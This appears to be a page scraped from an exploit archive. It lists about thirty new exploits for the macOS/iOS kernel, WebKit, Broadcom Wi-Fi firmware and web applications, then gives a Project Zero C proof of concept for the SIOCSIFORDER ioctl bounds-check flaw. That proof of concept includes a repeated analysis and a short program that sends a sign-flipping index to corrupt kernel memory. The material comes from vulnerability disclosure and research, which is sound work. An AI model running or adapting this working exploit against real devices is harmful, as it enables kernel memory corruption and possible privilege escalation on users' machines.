
31 new exploits macOS/iOS Kernel 10.12.3 (16D32) - 'bpf' Heap Overflow macOS/iOS Kernel 10.12.3 (16D32) - SIOCGIFORDER Socket ioctl Off-by-One Memory Corruption macOS Kernel 10.12.2 (16C67) - Memory Disclosure Due to Lack of Bounds Checking in AppleIntelCapriController::getDisplayPipeCapability macOS Kernel 10.12.3 (16D32) - Use-After-Free Due to Double-Release in posix_spawn macOS/iOS Kernel 10.12.3 (16D32) - SIOCSIFORDER Socket ioctl Memory Corruption Due to Bad Bounds Checking macOS Kernel 10.12.3 (16D32) - 'audit_pipe_open' Off-by-One Memory Corruption macOS/iOS Kernel 10.12.3 (16D32) - Bad Locking in necp_open Use-After-Free macOS Kernel 10.12.2 (16C67) - 'AppleIntelCapriController::GetLinkConfig' Code Execution Due to Lack of Bounds Checking Broadcom Wi-Fi SoC - Heap Overflow in _wlc_tdls_cal_mic_chk_ Due to Large RSN IE in TDLS Setup Confirm Frame Apple WebKit 10.0.2 - HTMLInputElement Use-After-Free Apple WebKit - 'RenderLayer' Use-After-Free Apple WebKit - Negative-Size memmove in HTMLFormElement Apple WebKit - 'FormSubmission::create' Use-After-Free Apple WebKit - 'ComposedTreeIterator::traverseNextInShadowTree' Use-After-Free Apple WebKit - 'table' Use-After-Free Apple WebKit - 'WebCore::toJS' Use-After-Free macOS/iOS Kernel 10.12.3 (16D32) - Double-Free Due to Bad Locking in fsevents Device Bluecoat ASG 6.6/CAS 1.3 - Privilege Escalation (Metasploit) Bluecoat ASG 6.6/CAS 1.3 - OS Command Injection (Metasploit) Broadcom Wi-Fi SoC - TDLS Teardown Request Remote Heap Overflow Exploit SolarWinds LEM 6.3.1 - Remote Code Execution (Metasploit) Logsign 4.4.2 / 4.4.137 - Remote Command Injection (Metasploit) Broadcom Wi-Fi SoC - 'dhd_handle_swc_evt' Heap Overflow Pixie 1.0.4 - Arbitrary File Upload Apple Webkit - Universal Cross-Site Scripting by Accessing a Named Property from an Unloaded Window Apple WebKit 10.0.2(12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting Apple WebKit 10.0.2(12602.3.12.0.1_ r210800) - 'constructJSReadableStreamDefaultReader' Type Confusion Apple WebKit 10.0.2(12602.3.12.0.1) - 'Frame::setDocument (1)' Universal Cross-Site Scripting Apple Webkit - 'JSCallbackData' Universal Cross-Site Scripting Maian Uploader 4.0 - 'index.php' keywords Parameter Cross-Site Scripting Maian Uploader 4.0 - admin/index.php keywords Parameter Cross-Site Scripting Maian Uploader 4.0 - admin/inc/header.php Multiple Parameter Cross-Site Scripting Maian Uploader 4.0 - 'keywords' Parameter Cross-Site Scripting Maian Uploader 4.0 - 'index.php' Cross-Site Scripting Maian Uploader 4.0 - 'header.php' Cross-Site Scripting Maian Uploader 4.0 - 'user' Parameter SQL Injection Maian Survey 1.1 - 'survey' Parameter SQL Injection Maian Greetings 2.1 - 'cat' Parameter SQL Injection
113 lines
3.9 KiB
C
Executable file
113 lines
3.9 KiB
C
Executable file
/*
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108
|
|
|
|
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
|
|
|
|
it falls through to calling:
|
|
ifnet_reset_order(ordered_indices, ifo->ifo_count)
|
|
where ordered_indicies points to attacker-controlled bytes.
|
|
|
|
ifnet_reset_order contains this code:
|
|
|
|
for (u_int32_t order_index = 0; order_index < count; order_index++) {
|
|
u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a)
|
|
if (interface_index == IFSCOPE_NONE ||
|
|
(int)interface_index > if_index) { <-------------------------- (b)
|
|
break;
|
|
}
|
|
ifp = ifindex2ifnet[interface_index]; <-------------------------- (c)
|
|
if (ifp == NULL) {
|
|
continue;
|
|
}
|
|
ifnet_lock_exclusive(ifp);
|
|
TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d)
|
|
ifnet_lock_done(ifp);
|
|
if_ordered_count++;
|
|
}
|
|
|
|
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
|
|
at (b) this value is cast to a signed type for a bounds check
|
|
at (c) this value is used as an unsigned index
|
|
|
|
by providing a value with the most-significant bit set making it negative when cast to a signed type
|
|
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
|
|
below the ifindex2ifnet array.
|
|
|
|
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
|
|
|
|
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
|
|
|
|
(on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below)
|
|
*/
|
|
|
|
// ianbeer
|
|
#if 0
|
|
MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl
|
|
|
|
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
|
|
|
|
it falls through to calling:
|
|
ifnet_reset_order(ordered_indices, ifo->ifo_count)
|
|
where ordered_indicies points to attacker-controlled bytes.
|
|
|
|
ifnet_reset_order contains this code:
|
|
|
|
for (u_int32_t order_index = 0; order_index < count; order_index++) {
|
|
u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a)
|
|
if (interface_index == IFSCOPE_NONE ||
|
|
(int)interface_index > if_index) { <-------------------------- (b)
|
|
break;
|
|
}
|
|
ifp = ifindex2ifnet[interface_index]; <-------------------------- (c)
|
|
if (ifp == NULL) {
|
|
continue;
|
|
}
|
|
ifnet_lock_exclusive(ifp);
|
|
TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d)
|
|
ifnet_lock_done(ifp);
|
|
if_ordered_count++;
|
|
}
|
|
|
|
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
|
|
at (b) this value is cast to a signed type for a bounds check
|
|
at (c) this value is used as an unsigned index
|
|
|
|
by providing a value with the most-significant bit set making it negative when cast to a signed type
|
|
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
|
|
below the ifindex2ifnet array.
|
|
|
|
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
|
|
|
|
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
|
|
#endif
|
|
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
|
|
#include <sys/ioctl.h>
|
|
#include <sys/socket.h>
|
|
|
|
#include <mach/mach.h>
|
|
|
|
struct if_order {
|
|
u_int32_t ifo_count;
|
|
u_int32_t ifo_reserved;
|
|
mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */
|
|
};
|
|
|
|
#define SIOCSIFORDER _IOWR('i', 178, struct if_order)
|
|
|
|
int main() {
|
|
uint32_t data[] = {0x80001234};
|
|
|
|
struct if_order ifo;
|
|
ifo.ifo_count = 1;
|
|
ifo.ifo_reserved = 0;
|
|
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
|
|
|
|
int fd = socket(PF_INET, SOCK_STREAM, 0);
|
|
int ret = ioctl(fd, SIOCSIFORDER, &ifo);
|
|
|
|
return 0;
|
|
}
|